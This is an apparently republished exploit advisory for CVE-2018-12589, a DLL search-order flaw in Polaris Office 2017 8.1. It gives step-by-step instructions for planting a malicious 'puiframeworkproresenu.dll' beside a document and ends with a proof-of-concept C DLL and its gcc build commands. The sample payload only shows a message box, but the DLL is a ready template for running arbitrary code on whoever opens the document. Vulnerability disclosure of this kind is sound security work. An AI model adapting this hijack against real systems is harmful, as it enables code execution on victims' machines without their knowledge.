Polaris Office 2017 8.1 Remote Code Execution Exploit

2018-06-29T00:00:00
ID 1337DAY-ID-30647
Type zdt
Reporter hyp3rlinx
Modified 2018-06-29T00:00:00

Description

Polaris Office 2017 version 8.1 allows attackers to execute arbitrary code via a trojan horse "puiframeworkproresenu.dll" file in the current working directory, due to a search order flaw vulnerability.

                                        
                                            [+] Credits: John Page (aka hyp3rlinx)    
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/POLARISOFFICE-2017-v8-REMOTE-CODE-EXECUTION.txt
[+] ISR: Apparition Security          
 

Vendor:
=============
www.polarisoffice.com


Product:
===========
PolarisOffice 2017 v8

Polaris Document Solution is an integrated solution for corporate document life cycle from document creation, use, management, security, and collaboration.

Used by more than 70 million subscribers in 240 countries.


Vulnerability Type:
===================
Remote Code Execution


CVE Reference:
==============
CVE-2018-12589


Security Issue:
================
Polaris Office 2017 8.1 allows attackers to execute arbitrary code via a Trojan horse "puiframeworkproresenu.dll" file
in the current working directory, due to a search order flaw vulnerability.

1) create a 32bit DLL named "puiframeworkproresenu.dll" 
2) put any .PDF or .PPTX file or whatever that is configured to open in Polaris Office in same directory as the above DLL 
3) open the document (PDF etc) then BOOM our arbitrary DLL will execute on victims system.

This can be observed as well with both the DLL and a document opened from a remote share.



Exploit/POC:
=============

#include <windows.h>

/* hyp3rlinx */

/*
gcc -c -m32 puiframeworkproresenu.c
gcc -shared -m32 -o puiframeworkproresenu.dll puiframeworkproresenu.o
*/

void trojanizer(){
   MessageBox( 0, "Continue with PWNAGE?" , "philbin :)" , MB_YESNO + MB_ICONQUESTION );
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){
  switch(fdwReason){
    case DLL_PROCESS_ATTACH:{
       trojanizer();
      break;
    }
    case DLL_PROCESS_DETACH:{
       trojanizer();
      break;
    }
    case DLL_THREAD_ATTACH:{
       trojanizer();
      break;
    }
    case DLL_THREAD_DETACH:{
       trojanizer();
      break;
    }
  }
  
  return TRUE;
}

#  0day.today [2018-06-29]  #